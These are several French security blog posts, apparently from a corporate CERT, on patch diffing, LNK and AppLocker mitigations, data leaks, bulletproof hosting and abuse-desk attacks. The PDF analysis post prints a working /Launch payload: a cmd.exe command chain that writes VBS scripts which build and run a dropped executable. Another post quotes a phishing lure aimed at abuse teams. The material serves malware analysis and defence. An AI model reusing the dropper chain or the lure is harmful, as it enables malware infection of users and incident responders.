Microsoft a donc publié le correctif tant attendu pour la vulnérabilité LNK lundi dernier. Observons la façon dont Microsoft l'a corrigée, par analyse différentielle de la bibliothèque shell32.dll pour Windows XP SP3.

Plusieurs nouvelles fonctions ont été ajoutées à la version corrigée de la DLL ; sachant que la vulnérabilité est liée à la gestion des raccourcis vers des éléments du panneau de configuration (CPL), la nouvelle fonction CControlPanelFolder:: _IsRegisteredCPLApplet() attire immédiatement notre attention. Or, il se trouve que la fonction CControlPanelFolder:GetUIObjectOf() a été modifiée pour se voir ajouter un nouveau bloc appelant cette fonction :

En bas de la capture, on note un appel à la fonction _ControlExtractIcon_CreateInstance(), chargée d'extraire l'icône, qui ne sera donc réalisé que si le code de retour de _IsRegisteredCPLApplet() est non-nul.

Si l'on regarde de plus près _IsRegisteredCPLApplet(), on observe qu'après avoir récupéré la listes des éléments du panneau de configuration enregistrés grâce à CPLD_GetModules(), la fonction itère sur ces éléments grâce à DSA_GetItemPtr() jusqu'à ce qu'une correspondance avec la DLL pointée par le raccourci soit trouvée par CompareString() (valeur de retour 2, soit CSTR_EQUAL, auquel cas la fonction _IsRegisteredCPLApplet() retourne 1), ou qu'il n'y ait plus d'éléments avec qui comparer (auquel cas elle retourne 0) :

Si l'on crée par exemple un raccourci CPL pointant vers C:\Windows\system32\zuaucpl.dll (au lieu du légitime wuaucpl.dll), on remarque bien que Windows compare le nom de notre DLL malveillante à la liste des éléments du panneau de configuration enregistrées :

Windows n'autorisera ainsi que les CPL légitimement enregistrés à être chargés lors de la récupération de l'icône.

Cette mise à jour ajoute également le support de la valeur de registre HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\IsAutorunForCDROMOnly (sans pour autant la créer par défaut), permettant de désactiver l'AutoRun sur tous les supports à l'exception des CD et des DVD. Cette désactivation est le cas par défaut à partir de Windows 7 et Microsoft proposait jusqu'à présent le KB971029 pour l'appliquer aux versions antérieures de Windows.

On trouve en effet un appel à une nouvelle fonction _IsAutorunForCDROMOnly() en tête des fonctions CMountPoint::_ProcessAutoRunFile() et CContentTypeData::Init() :

En bas de fonction CContentTypeData::Init(), un nouveau test a été ajouté afin d'appeler ou non AddRemovableOrFixedDiskAutorunINFHandler(), en fonction du retour de _IsAutorunForCDROMOnly() (dans le cas de CMountPoint::_ProcessAutoRunFile(), il y a plusieurs vérifications au fil du code) :

La fonction _IsAutorunForCDROMOnly() récupère simplement la valeur depuis le registre :

Plus curieux, cette mise à jour modifie plusieurs fonctions (InitializeFormatDlg(), BeginFormat() et FileSysChange()) pour ajouter "exFAT" à la boîte de dialogue du formatage de disque :

Problème : seule la boîte de dialogue a été modifiée ; les pilotes exFAT ne sont pas présents et le formatage ne sera donc pas possible en l'état... Le support de exFAT nécessite l'application d'une mise à jour distincte sous la forme du KB955704 qui comprend d'autres fichiers que shell32.dll.

En plus du correctif, cette nouvelle version de shell32.dll comprend donc deux mises à jour fonctionnelles (support pour la valeur permettant la désactivation complète de l'AutoRun hors CD et DVD, ainsi que support partiel du formatage exFAT), ce qui n'est, à notre connaissance, documenté nulle part (en dehors du fait que des mises à jour de shell32.dll ont été effectuées dans des KB publiés précédemment).

En août 2008, le haut commissaire nigérian Sunday Olu Agbi avait provoqué un tollé international en déclarant que les victimes d’escroqueries 419 étaient tout aussi coupables que les escrocs eux-mêmes, et devraient être également emprisonnées. Et pourtant, bien que personne n’ait pris cette déclaration au sérieux, n’y a-t-il pas quelques enseignements à en tirer ?

La notion de propriété privée, dans le domaine des biens matériels, repose un système législatif qui protège le propriétaire et punit le voleur. Cette simple définition juridique pose à elle seule les bases de la propriété privée, notion qui paraît aujourd’hui naturelle, et qui a donc été transposée à la sphère immatérielle et à la société de l’information sans trop se poser de questions. Ainsi, sur Internet, dans le cas d’une intrusion sur un système informatique, la société qui a subi l’intrusion est en droit de demander réparation, sous la forme de dommages et intérêts, et l’auteur de l’infraction est recherché, et éventuellement arrêté et condamné. Jusqu’ici, tout le monde en conviendra, c’est du bon sens.

Là où ça se complique, c’est quand on fait le constat que sur Internet, ça ne fonctionne pas du tout comme cela : neuf fois sur dix, l’histoire finit mal, le voleur n’est pas arrêté, et le préjudice est consommé.

Alors, pourquoi une telle divergence entre théorie et pratique ? Bien des raisons permettent d’expliquer une telle dissonance : l’hétérogénéité des systèmes législatifs nationaux à l’échelle du monde ; la difficile – pour ne pas dire, l’impossible – coopération policière internationale ; et en tête de liste, la simplicité dramatique avec laquelle les fraudes sont commises, qui les met à la portée du pirate débutant. Mais ces obstacles ont déjà été explorés et dénoncés à de maintes reprises par d’autres observateurs, je n’y reviendrai donc pas ; j’ajouterai seulement que la décennie que nous quittons tout juste a clairement démontré que s’attaquer à ces obstacles est vain : on ne remonte pas le cours du progrès technologique, et aucune autorité ne sera jamais capable d’imposer au reste du monde un système législatif et policier homogène ; il restera donc toujours sur la planète de nombreux havres de paix pour les fraudeurs.

L’échec de la répression des crimes et délits informatiques a son pendant : c’est l’échec global de la sensibilisation du public. Depuis dix ans, chaque année voit en effet de nouveaux records battus en termes de montants des fraudes, escroqueries, phishing, nombre de cartes bancaires volées, etc ; et pourtant, les messages passés au grand public n’ont pas fondamentalement changé. Combien de banques continuent de s’en tenir au discours « SSL = sécurité » dans les modes d’emploi de leurs sites transactionnels ? Combien d’experts répètent encore « n’ouvrez pas de pièces jointes provenant d’émetteurs inconnus », malgré le fait qu’à l’ère des réseaux sociaux, la menace vient précisément de personnes que l’on croit connaître ? Pourquoi entend-on encore ça et là « Ne naviguez que sur des sites de confiance », alors que la notion même de site de confiance est en voie de disparition ? Et surtout, comment le grand public peut-il réagir à ces nouveaux messages, la menace ayant tellement changé de nature que l’on doive opérer un virage à 180 degrés et lui dire très exactement le contraire de ce qu’on lui a dit pendant dix ans ? L’échec de cette sensibilisation de fond, pourtant motivée par les plus pures intentions, est également très visible au niveau des entreprises, dont l’insécurité globale des systèmes informatiques perdure : beaucoup de correctifs critiques restent non appliqués – ou seulement après de longues semaines de tests, en contradiction avec l’urgence de la situation (on se souvient de la pandémie de Conficker, qui aurait largement pu être évitée) ; de même, la sécurité des sites web ne s’est pas améliorée d’un iota en dix ans, les sites piratés étant devenus en 2008 le premier vecteur d’infection par malware, dépassant même le spam.

Etant entendu que le couple « sensibilisation des victimes / répression des fraudeurs » est globalement un échec, l’idée fait petit à petit son chemin qu’il serait opportun de compléter cette approche par une stratégie inverse : c'est-à-dire, « répression des victimes / sensibilisation des fraudeurs ».

L’idée de s’attaquer aux victimes est une idée généralement impopulaire qui fera probablement bondir plus d’un lecteur ; mais le rééquilibrage des responsabilités entre pirate et victime est absolument essentiel pour obtenir des résultats probants dans la durée, et surtout instaurer un système qui s’auto-entretient, où l’intérêt personnel de chaque partie (la sécurité de ses données) doit converger avec l’intérêt général (la diminution globale des fraudes et la conservation des secrets industriels). On ne peut plus continuer de considérer que lorsqu’une intrusion a eu lieu, l’intégralité de la faute repose sur le pirate, alors même que la société impactée ne possède peut-être aucune politique de sécurité digne de ce nom, et que l’intrusion s’est résumée à accéder à un espace non protégé ou à envoyer un cheval de Troie dans une pièce jointe avec la consigne « ouvrez-moi s’il vous plaît ». Des défauts de sécurité aussi importants perdureront, tant qu’ils ne seront pas réprimés.

Cette répression doit toutefois s’appliquer avec discernement : il serait injuste de punir les particuliers et entreprises lorsque face à la menace, aucune mesure technique ou organisationnelle avec un coût acceptable ne fait le poids. C’est à la loi de faire le tri : un internaute possédant un anti-virus à jour pourra être considéré comme étant de bonne foi, indépendamment de l’efficacité réelle de l’anti-virus.

Une telle répression, s’appliquant aux entreprises, déclencherait un effet « domino » salvateur : le risque se reporterait mécaniquement sur les éditeurs de logiciels et matériels, à qui les entreprises victimes d’intrusion demanderaient davantage de comptes qu’elles ne le font aujourd’hui. Ces acteurs, dont le rôle est essentiel dans la sécurisation des systèmes d’information, subiraient une pression accrue, et hésiteraient peut-être davantage à reporter aux calendes grecques la publication d’un correctif pour une vulnérabilité critique, ou à supprimer le support d’un OS encore largement déployé.

Des mesures concrètes ont déjà vu le jour : par exemple, les systèmes « Verified by Visa » et « Mastercard SecureCode » consistent à déplacer l’impact de la fraude, actuellement supporté par les commerçants, vers les banques – et dans certains cas, ces dernières reportent le risque sur leurs clients. D’autres initiatives nationales, comme aux Pays-Bas ou en Australie, visent également à placer en quarantaine les internautes infectés par des malware jusqu’à ce qu’ils se soient désinfectés. Hadopi tente également d'instaurer ce type d'obligation pour les particuliers, qui sont priés de sécuriser leurs connexions wifi ; et l'article 34 de la loi Informatique et Libertés oblige les entreprises à sécuriser les données personnelles qu'elles manipulent, sous peine de sanctions pénales. Cependant, cette loi, au demeurant vague (aucune précision sur les moyens à mettre en oeuvre), rarement appliquée et assortie de sanctions pénales (jusqu'à 5 ans de prison et 300.000 Euros d'amende) sans commune mesure avec l'ampleur potentielle de la fraude, ne s'applique pas à l'ensemble du spectre de la fraude informatique, et n'est doublée d'aucune obligation de signalement de l'intrusion à la clientèle, comme c'est pourtant le cas aux Etats-Unis.

Le concept de la sensibilisation des fraudeurs peut sembler farfelu, mais des initiatives voient le jour ça et là, pour tenter de réduire l’attrait de la fraude auprès des pirates. En témoigne par exemple la campagne menée par Microsoft au Nigéria, jouant sur des leviers culturels et ludiques pour dissuader les jeunes escrocs. Une telle démarche, si elle était soutenue par des mesures économiques et sociales efficaces, pourrait bien obtenir sur le long terme une efficacité inattendue.

La décennie qui s’ouvre est l’occasion de changer de posture sur la sécurité : la dichotomie victimes / fraudeurs a fait son temps, et nous a tous plongés dans une impasse. Il serait temps d’arrêter de vider l’océan à la petite cuillère, et de s’attaquer aux racines du problème.

Il n'aura échappé à personne que ces derniers jours ont principalement été occupés par le malware Stuxnet et sa méthode de propagation inédite utilisant une vulnérabilité jusqu'alors inconnue dans la façon dont Windows traite les icônes dans les fichiers LNK. Sous Windows 7, l'utilisation d'AppLocker permet, en partie, de se protéger.

La vulnérabilité permet de spécifier dans un fichier LNK une ressource d'icône pointant vers une DLL malveillante. Lorsque le shell de Windows voudra afficher l'icône, il va donc charger la DLL et exécuter le code malveillant contenu dans sa fonction principale. Les recommandations de Microsoft sont soit inapplicables en pratique (désactiver toutes les icônes des raccourcis !), soit ne couvrent qu'une partie des vecteurs d'exploitation possibles (désactiver le client WebDAV, ce qui n'empêche pas l'exploitation via les clés USB ou les partages SMB).

Il a été proposé d'utiliser les SRP afin de restreindre l'exécution de binaires (EXE et DLL) au seul lecteur C:. Cette protection est un peu plus satisfaisante, mais elle peut bloquer l'exécution de binaires légitimes situés sur d'autres lecteurs (cas souvent rencontré en entreprise). On peut bien sûr ajouter les lecteurs voulus à la liste blanche, mais on rouvre alors le vecteur d'exploitation via les partages SMB ou WebDAV...

Il semble donc que la meilleure solution pour se protéger contre cette vulnérabilité consiste à bloquer le chargement des DLL inconnues, ce que permet précisément de faire AppLocker. Énorme inconvénient de la méthode : elle ne fonctionne que sur Windows 7 et 2008 R2 (c'est pourquoi l'utilisation des SRP peut tout de même s'avérer utile sur les systèmes plus anciens).

Le fonctionnement d'AppLocker ayant déjà été décrit, nous ne reviendrons pas dessus. Rappelons simplement qu'il s'agit d'un prolongement des SRP permettant de bloquer l'exécution des binaires PE, installeurs MSI et scripts VBS (entre autres), selon des règles à définir. L'avantage d'AppLocker sur les SRP est qu'il permet d'appliquer des règles spécifiques aux DLL, sans toucher à l'exécution des binaires traditionnels en .exe, ce qui convient parfaitement à notre cas.

Après avoir démarré le service "Identité de l’application" nécessaire à l'application des règles, il faut explicitement cocher la case suivante dans l'onglet Avancé des propriétés d'AppLocker (et passer outre les avertissements...), afin de pouvoir configurer des règles sur les DLL :

La mise en place des règles par défaut permet alors de se protéger ; attention à bien supprimer la 3ème règle autorisant tout administrateur à charger toute DLL. A partir de maintenant, seules les DLL présentes dans les répertoires C:\Windows et C:\Program Files pourront être chargées :

Après une tentative d'exploitation (désormais infructueuse) de la vulnérabilité, un événement 8004 dans Journaux des applications et services -> Microsoft -> Windows -> AppLocker nous indique que le chargement de la DLL malveillante a bien été bloqué :

La solution n'est cependant pas parfaite car des DLL peuvent bien sûr avoir besoin d'être chargées depuis d'autres répertoires, y compris distants, quoique ce cas est a priori plus rare que le cas des binaires .EXE distants.

L'édition 2010 du SSTIC est (déjà) terminée, et nous voilà de retour après un week-end de repos bien mérité (voire nécessaire).

Sans faire de compte-rendu exhaustif, on peut tout de même noter quelques points : Il n'a échappé à personne qu'il y a un fort besoin de main d'Å“uvre en ce moment dans le domaine de la sécurité informatique. Le problème vient-il d'un manque de formation dans le domaine, des étudiants qui se détournent du milieu une fois démystifié le cliché du hacker « opération espadon », de la trop grande exigence des recruteurs... ? Nous ne sommes en tout cas pas les seuls à nous poser la question.

Par ailleurs, les conférences ont une fois de plus été variées, destinées à un public hétérogène.

Certaines au contenu technique pointu :

• remote root via une carte réseau en passant par un buffer overflow dans une fonctionnalité d'administration à distance (heureusement non activée par défaut) puis écriture en RAM en passant par le DMA. Cela a nécessité l'implémentation d'un debugger spécifique .. bizarrement, les registres du cpu embarqué dans la carte réseau étaient mappés en RAM (apparemment, pour faciliter le debug ... par le constructeur ).
• contournement de la fonctionnalité IOMMU visant justement à contrer les attaques en passant par le DMA, en restreignant les zones mémoires accessibles par chaque périphérique. Le contournement utilise le fait que certains périphériques utilisent un id-source commun. Sympathique démonstration où le flux d'une vidéo en streaming est détourné suite au branchement d'un iPod malveillant sur le port firewire (encore lui!).
• VirtDBG : debugger au niveau "ring -1" afin de se trouver un niveau en-dessous des rootkits noyau

D'autres plus généralistes, présentant notamment le travail de la DGSE et de l'ANSSI, ou encore le projet Honeynet.

Certaines conférences étaient également sympathiques, comme celle présentant des statistiques sur le taux de propagation d'une application facebook malveillante, et comment optimiser cette propagation.

Enfin, les deux conférences passionnantes de Harald Welte concernant le GSM montrent qu'il s'agit bien là d'un domaine où tout reste à faire. Il nous invite d'ailleurs à tester et à contribuer à ses différents projets, dont les deux outils qu'il a présenté, OpenBSC et OsmocomBB.

En résumé de cette liste non exhaustive, il y en avait pour tous les goûts. Pour plus de détails, les actes, slides, ainsi que différents comptes-rendus sont en ligne.

Pour finir, un challenge de reverse engineering était organisé pour la 2e année consécutive, concernant cette fois-ci une image mémoire Android. La solution présentée était intéressante, sachant que pratiquement aucun participant n'a procédé de la même manière. Après plusieurs discussions lors du social event, la plupart semblent s'être cassé les dents sur la cryptographie (la découverte de la faiblesse de la clé El-Gamal n'était pas évidente). Cela n'a pas arrêté notre collègue Florent qui a fini deuxième en utilisant, d'après le comité d'organisation, des «  techniques de ninja » à base de hexdump, grep et dd. Les solutions sont également en ligne.

Félicitations à Raphaël Rigo pour la réalisation de ce challenge « touffu », ainsi qu'aux participants.

Ce fût donc une très bonne édition du SSTIC, et on attend avec impatience celle de l'année prochaine.

Entre 14h et 15h aujourd'hui, les serveurs DNS utilisés pour gérer la zone .DE (Allemagne) ont été victimes d’une grosse panne d’origine encore non identifiée. Côté allemand, sur les 6 serveurs DNS de DENIC, 4 auraient été hors service ; les seuls sites en extension .DE accessibles étaient les sites pour lesquels les fournisseurs d’accès à Internet possédaient encore en cache leur adresse IP.

Cette panne a été visible de ce côté de la frontière, puisque bon nombre de sites majeurs allemands étaient inaccessibles (comme par exemple, Google.de). A noter que les premières victimes de cette panne étaient les domaines qui possèdent une durée maximale de mise en cache faible (la fameuse valeur TTL, ou « Time-to-live »).

Effet de bord important : les domaines sur d'autres extensions qui n'ont rien à voir (.AT, .COM, .NET, etc.), et gérés par un serveur DNS d'autorité en extension .DE, ont été aussi affectés.

Si une telle panne s'était prolongée dans la durée, ses conséquences auraient pu être très importantes, bien plus graves que les dénis de service qu’ont connu l’Estonie ou la Géorgie. Rien n’indique à l’heure actuelle qu’il s’agisse d’autre chose que d’un accident.

Mise à jour du 17/05 : le problème affectant certains domaines en .AT n'était pas de même nature : il s'agissait d'effets de bord consécutifs à la panne en Allemagne, en raison du fait que des domaines .AT étaient gérés par des serveurs sur l'extension allemande.

Les médias spécialisés focalisent depuis plus d'un an leur attention sur les nouvelles formes de risques apportés par le « Web 2.0 » - à savoir, micro-blogging (Twitter), et réseaux sociaux personnels (Facebook, MySpace...) et professionnels (LinkedIn, Viadeo, etc.). Attention d'ailleurs focalisée à juste titre sur les risques de fuites d'information, certains salariés se rendant coupables d'indiscrétions parfois catastrophiques dans leurs profils, révélant par exemple :

• L'identité de leurs clients et les montants des contrats associés ;
• Des informations sur les projets informatiques actuellement en cours : développements internes, choix technologiques réalisés, déploiements en cours, budgets, etc. ;
• Des détails extrêmement précis sur l'environnement technique du système d'information de l'entreprise : versions de logiciels, d'OS, type de navigateur web employé, etc.

Mais bien que le risque soit parfaitement réel - une société de sécurité, SnoSoft, a d'ailleurs démontré le piratage du SI d'une banque uniquement à travers des informations issues des réseaux sociaux - il semble surévalué. Et surtout, comme tout risque « Ã  la mode », il occulte un autre risque encore plus important : le risque de voir des documents internes fuiter à travers le bon vieux Web 1.0.

En effet, nous réalisons pour nos clients depuis plusieurs années le recensement des fuites d'information avérées les affectant sur Internet. Les informations les plus sensibles que nous identifions ne se trouvent pas forcément sur les réseaux sociaux : cela peut surprendre, mais on trouve systématiquement des documents internes en libre accès, sur les sites web légitimes des sociétés concernées ; documents souvent estampillés « confidentiel » ou « Ã  usage interne », et qui n'ont de toute évidence rien à faire sur le Web.

La deuxième source principale de fuites d'information est constituée par les salariés eux-mêmes, stagiaires, personnels temporaires et consultants externes, qui utilisent des espaces de stockage personnels extérieurs à l'entreprise (sites web personnels, FTP ouverts, sites de partage de documents...) pour pouvoir travailler le week-end ou le soir. De même, beaucoup de stagiaires travaillent sur leur rapport de stage pendant leur temps libre, et mettent ce document en ligne sur leur site personnel. L'ennui est que ces comportements à risque sont permanents, la présence de ces documents perdurant bien au-delà de leur usage initial.

Ce phénomène est tellement commun que la question n'est plus de savoir si de telles fuites affectent ou non les entreprises du CAC40, dont le SI très complexe offre autant de points de fuite potentiels : la vraie question, c'est combien de documents internes sensibles concernant l'entreprise sont disponibles sur Google, à la vue de tout le monde à un instant donné. Et contrairement aux réseaux sociaux, qui requièrent la mise en oeuvre de moyens conséquents pour exploiter les fuites découvertes (les attaques par agrégation nécessitant un recoupement, minutieux et exhaustif, des bribes d'information se trouvant dans les profils), un seul document interne « fuité » peut gravement porter préjudice à l'entreprise.

Les moyens pour maîtriser les fuites de documents internes sont assez simples à mettre en oeuvre :

• Sur le système d'informations, il s'agira de vérifier le niveau de visibilité externe des sites web légitimes, ainsi que la présence de documents de travail sur ces sites ;
• Lorsque la fuite est occasionnée sur un site externe au SI, il s'agira de détecter cette fuite par une surveillance des moteurs de recherche, et en guise d'intervention correctrice, d'obtenir la suppression des documents concernés auprès de leur hébergeur.

Des mesures aisées et peu coûteuses, possédant un retour sur investissement rapide, et qui contrastent avec les réseaux sociaux, où la maîtrise du risque est coûteuse, tant du point de vue de la surveillance exhaustive des réseaux - inatteignable et inutile - que par rapport à la fragilisation de la relation entre l'entreprise et le salarié, ce dernier pouvant réagir très négativement à une telle démarche. Sans compter les recommandations bancales, pratiquement inapplicables qui ont pu être données ça et là, comme par exemple :

• Ne pas accepter de mise en relation sans vérifier au préalable l'identité du demandeur : si cette recommandation peut à la limite avoir un sens sur les réseaux purement professionnels, en revanche sur les réseaux personnels, elle se vide de toute substance. Les réseaux sociaux sont précisément un lieu primaire de prise de contact : désormais, on se rencontre d'abord en ligne à travers un point d'ancrage virtuel, puis ensuite seulement la rencontre se matérialise « in real life ». impossible donc de vérifier a priori l'identité du demandeur - de nombreux professionnels de la sécurité en ont d'ailleurs fait les frais ;
• Ne pas donner trop d'informations à caractère personnel sur son profil : encore une contradiction fondamentale avec le principe même des réseaux sociaux, qui cristallisent et dopent l'égo - voire l'exhibitionnisme - de ses membres, en incitant toujours à publier davantage et plus vite : photos de vacances, vidéos, etc. La majorité des utilisateurs s'inscrivent sur ces sites précisément pour parler d'eux-mêmes, leur demander de ne plus le faire serait voué à l'échec ;
• Ne pas partager sa liste de contacts sans restriction : que cette liste soit partagée ou pas, aucune différence, puisqu'une mise en relation effective suffit à la dévoiler.

Autant de recommandations qui aimeraient plutôt dire « n'utilisez pas les réseaux sociaux », mais sans trop l'assumer.

En conclusion, gardons un oeil sur le bon vieux web 1.0, qui n'a pas fini de nous jouer des tours !

Au beau milieu des acteurs de la réponse à incident de sécurité informatique se trouvent les services "Abuse". La quasi-totalité des hébergeurs disposent d'un tel service, généralement joignable exclusivement par e-mail à "abuse@nomduFAI". Ces services travaillent sur des aspects techniques afin de faire respecter le bon usage de leurs services et de protéger les internautes de certaines menaces. Ainsi, parmi leurs missions les plus fréquentes on trouve en particulier le traitement des signalements des cas :

• de sites illicites hébergés au sein de leur parc (qu'ils feront fermer/désactiveront) ;
• de malware hébergés sur les sites web de leurs utilisateurs (qu'ils retireront) ;
• de spams envoyés ou reçus ;
• de compromission de serveurs ;
• etc.

Ces services collaborent étroitement avec les équipes CERT ainsi qu'avec les services judiciaires afin de faire cesser au plus vite toute infraction.

Seulement voilà, il s'agit de...la théorie. Dans la pratique, les services abuse sont souvent lents, et relativement opaques. Malgré le fait qu'en France, ils aient l'OBLIGATION de faire retirer les contenus illicites dès qu'ils en ont connaissance, les délais d'intervention de ces services sont très variables. Les services abuse répondent souvent à un mail par un message automatisé, ou ne répondent pas du tout, et vous envoient un mail (ou pas) lorsqu'un incident est résolu. Parfois ils agissent sans fournir aucun retour, ou n'agissent tout simplement pas.

Du coup, le meilleur moyen de savoir s'il y a eu une action de leur côté est souvent de consulter régulièrement la page web à problème (dans le cas d'un site de phishing par exemple) jusqu'à la voir disparaître.

Les services abuse sont également les ennemis des cybercriminels. C'est le jeu, et ces derniers ont pour habitude de faire héberger leurs contenus frauduleux sur plusieurs serveurs différents, sachant pertinemment qu'ils seront fermés au fur et à mesure.

Récemment cependant, nous avons pu observer un nouveau type d'attaque ciblée de la part de certains cybercriminels. Ces derniers écrivent au service Abuse en se faisant passer pour un internaute ayant un problème de sécurité, un mail parmi tant d'autres à traiter... Ils prétextent avoir vu un site de phishing, et indiquent un lien vers une page frauduleuse que l'équipe de réponse à incident va consulter afin de vérifier la véracité des dires de l'internaute. Mais ce lien les dirige directement sur une page dont le seul but est... d'infecter le service Abuse avec un cheval de Troie !

Voici un exemple d'un tel e-mail :

--

To: abuse@bank.com

Cc: fraud@bank.com; scams@bank.com; customersupport@bank.com; security@bank.com

Subject: Possible Fake Web Site

Hello, I just received an email stating it was from your bank and since I don't have any accounts with you I think this is a fake site. I just thought you might like to know someone is trying to scam your customers.

The email had the following link to your bank [LINK]

Thanks, I hope you catch the scammers.

--

Les intérêts d'une infection d'un service abuse sont multiples mais je vois surtout les possibilités de :

• disposer d'une porte dérobée au sein de l'entreprise, pour ensuite rebondir et compromettre d'autres machines de l'entreprise. Le fait qu'une adresse mail "abuse@fournisseurdacces" existe presque toujours y contribue ;
• observer le mode de fonctionnement du service ;
• usurper l'identité du service abuse afin de contacter d'autres services ou clients et les infecter avec des malware ;
• espionner les mails parvenant au service abuse pour obtenir de l'information utile transmise par les clients (numéros de cartes bancaires, identifiants et mots de passe d'accès à des services, etc.).

Dans l'exemple réel que nous avons cité, et dans lequel nous avons évidemment changé les adresses pour respecter l'anonymat de l'établissement bancaire ciblé, vous pouvez voir en plus que les fraudeurs ont envoyé leur e-mail vers plusieurs services "à l'aveugle" : des adresses ayant des chances d'exister ont été ajoutées (security@, fraud@, customersupport@ ...).

Comme toujours donc, que vous soyez un particulier ou un professionnel de la sécurité informatique, la prudence est de mise. Favorisez les navigateurs exotiques, soyez toujours à jour au niveau de votre logiciel anti-virus, et soyez préparés à rétablir un système sain rapidement en cas d'infection.

Cela n'a échappé à personne, le correctif pour la vulnérabilité dans Windows Media Services que nous avions remontée à Microsoft a eu l'honneur de faire partie du cercle très restreint des correctifs retirés par l'éditeur pour non-correction du problème.

Dès le lendemain de la publication du correctif initial, nous avons par curiosité exécuté notre preuve de concept sur la version corrigée du service. Celle-ci a immédiatement provoqué un plantage. De retour avec un debugger attaché au service, nous avons pu constater que la vulnérabilité se portait comme un charme ! Une adresse de retour modifiée plus tard et notre preuve de concept fonctionnait parfaitement contre la nouvelle version du service. Nous avons alors immédiatement contacté Microsoft, qui travaillait déjà sur le problème.

Quelques jours plus tard, Microsoft annonçait le retrait du correctif MS10-025, car celui-ci ne corrigeait pas la vulnérabilité. La raison invoquée est la suivante : "The original issue was missed due to focusing on a variant of the original report early in the investigation". Comprendre : nous sommes partis sur une fausse piste très tôt dans l'investigation (qui a duré environ 8 mois).
Sachant que la preuve de concept évoquée plus tôt a été fournie à Microsoft dés le premier contact pour remonter la vulnérabilité, un simple test sur la version soit-disant corrigée aurait immédiatement mis au jour le problème ... La fin de vie proche de Windows 2000 serait-elle à l'origine de cette négligence ?

On peut toutefois saluer la grande transparence de l'éditeur par le biais des blog et Twitter du MSRC.

Aujourd'hui, tout semble rentré dans l'ordre : un nouveau correctif corrigeant correctement la vulnérabilité a été publié par Microsoft.

On savait déjà que la récente vulnérabilité (Ref. Lexsi 13190) dans la gestion des actions /Launch /Action par Adobe Acrobat/Reader était exploitée dans la nature. Depuis hier circule un nouveau run de spam exploitant cette vulnérabilité.

Le message arrive de operator@monentreprise.com et tente de faire croire à l'utilisateur que ses paramètres POP3 et SMTP ont changé et que les nouveaux paramètres peuvent être trouvés dans le PDF en pièce jointe :

pdfid nous apprend qu'une action va être exécutée à l'ouverture du PDF (/OpenAction) :

$ pdfid.py doc.pdf

PDFiD 0.0.10 doc.pdf
PDF Header: %PDF-1.1
obj                    8
endobj                 8
stream                 1
endstream              1
xref                   1
trailer                1
startxref              1
/Page                  1
/Encrypt               0
/ObjStm                0
/JS                    0
/JavaScript            0
/AA                    0
/OpenAction            1
/AcroForm              0
/JBIG2Decode           0
/RichMedia             0
/Colors > 2^24         0

pdf-parser nous permet de dumper le code correspondant :

$ pdf-parser.py -a doc.pdf

Comment: 2
XREF: 1
Trailer: 1
StartXref: 1
Indirect object: 8
 2: 5, 6
/Action 1: 8
/Catalog 1: 1
/Font 1: 7
/Outlines 1: 2
/Page 1: 4
/Pages 1: 3

$ pdf-parser.py doc.pdf -v -f -w -o 8

<<
/Type /Action
/S /Launch
/Win
<<
 /F (cmd.exe)
 /P (/c echo Set fso=CreateObject("Scripting.FileSystemObject") > script.vbs && echo Set f=fso.OpenTextFile("doc.pdf", 1, True)
>> script.vbs && echo pf=f.ReadAll  >> script.vbs && echo s=InStr(pf,"'SS")  >> script.vbs && echo e=InStr(pf,"'EE")  >> script.vbs
&& echo s=Mid(pf,s,e-s)  >> script.vbs && echo Set z=fso.OpenTextFile("batscript.vbs", 2, True)  >> script.vbs &&
echo s = Replace(s,"%","") >> script.vbs && echo z.Write(s) >> script.vbs &&  script.vbs && batscript.vbs
Click the "open" button to view this document:)
>>
>>

Ce PDF exploite donc bien la vulnérabilité /Launch /Action et utilise l'astuce présentée par Didier Stevens pour changer le message d'avertissement d'Acrobat/Reader :

En fait, en remontant dans la boîte de dialogue, le code shell malveillant s'affiche :

Le code d'exploitation du PDF fonctionne ensuite en plusieurs étapes :

• le code shell contenu dans la directive /Launch crée le fichier script.vbs
• ce script ouvre le PDF et recopie dans batscript.vbs le code VBS contenu entre les patterns 'SS et 'EE, en prenant soin de supprimer les "%"

• le script batscript.vbs crée le fichier game.exe octet par octet, puis l'exécute

Afin d'assurer son lancement à chaque démarrage du système, game.exe se recopie dans C:\Program Files\Microsoft Common\svchost.exe et se place en tant que debugger de explorer.exe. Il se connecte à un canal de contrôle en Corée :

Promis, je ne finirai pas ce billet en disant que la détection du binaire malveillant par les éditeurs antivirus est quasi nulle.

S'il était encore besoin de s'en convaincre, depuis la chute de l'hébergeur pirate Russian Business Network, le phénomène des hébergeurs "pare-balles" n'a fait qu'empirer. De telles sociétés poussent comme des champignons, en prenant bien garde cette fois à rester sous le radar.

Ainsi, depuis quelques semaines, un nouvel hébergeur frauduleux a fait son apparition : il s'agit de Grandhost -- à ne surtout pas confondre avec Grand Host, dont le nom commercial a été squatté, probablement à dessein pour brouiller les pistes.

Certaines caractéristiques de cet hébergeur nous intéressent tout particulièrement ; en effet, il s'agit à notre connaissance de la première fois qu'un hébergeur pirate offre une gamme de services aussi importante à ses clients. Tout d'abord, l'hébergeur propose plusieurs modes d'hébergement : dédié, virtuel (VDS), ou mutualisé. Les services sont proposés dans "plusieurs régions du globe", ce qui laisse entendre que contrairement à RBN, l'hébergeur ne dispose pas de son propre datacenter, mais loue des machines pour ses clients auprès d'autres hébergeurs. Ensuite, la société offre des services d'enregistrement de domaines anonymes - elle avance même une accréditation ICANN bidon. Mais surtout, Grandhost a noué un "partenariat" avec le service Check Crypt, qui fournit aux pirates les moyens de contrôler que leur site web n'est pas placé sur liste noire, et que leur virus n'est pas détecté par les anti-virus. Le site prétend ainsi tester - pour mieux les contourner - les listes noires McAfee, PhishTank, SpamHaus, ZeusTracker, et plusieurs autres.

Enfin, l'hébergeur serait opéré par une équipe de quatre personnes : un administrateur, et trois personnes dédiées au support technique, avec une véritable plateforme de ticketing et de suivi d'incident (nous déconseillons toutefois l'utilisation de cette plateforme pour signaler des sites frauduleux...). Une taille importante pour un hébergeur aussi jeune, sur un tel marché de niche. Le discours marketing de l'hébergeur ukrainien est particulièrement agressif, puisqu'il promet un "anonymat absolu" et une "immunité aux signalements de fraudes". La société précise tout de même qu'elle refuse les contenus à caractère pédo-pornographique, pour des raisons d'éthique.

La jeune société a toutefois déjà à son actif l'hébergement d'un site de phishing HSBC et de plusieurs domaines ayant pour vocation de diffuser des malware.

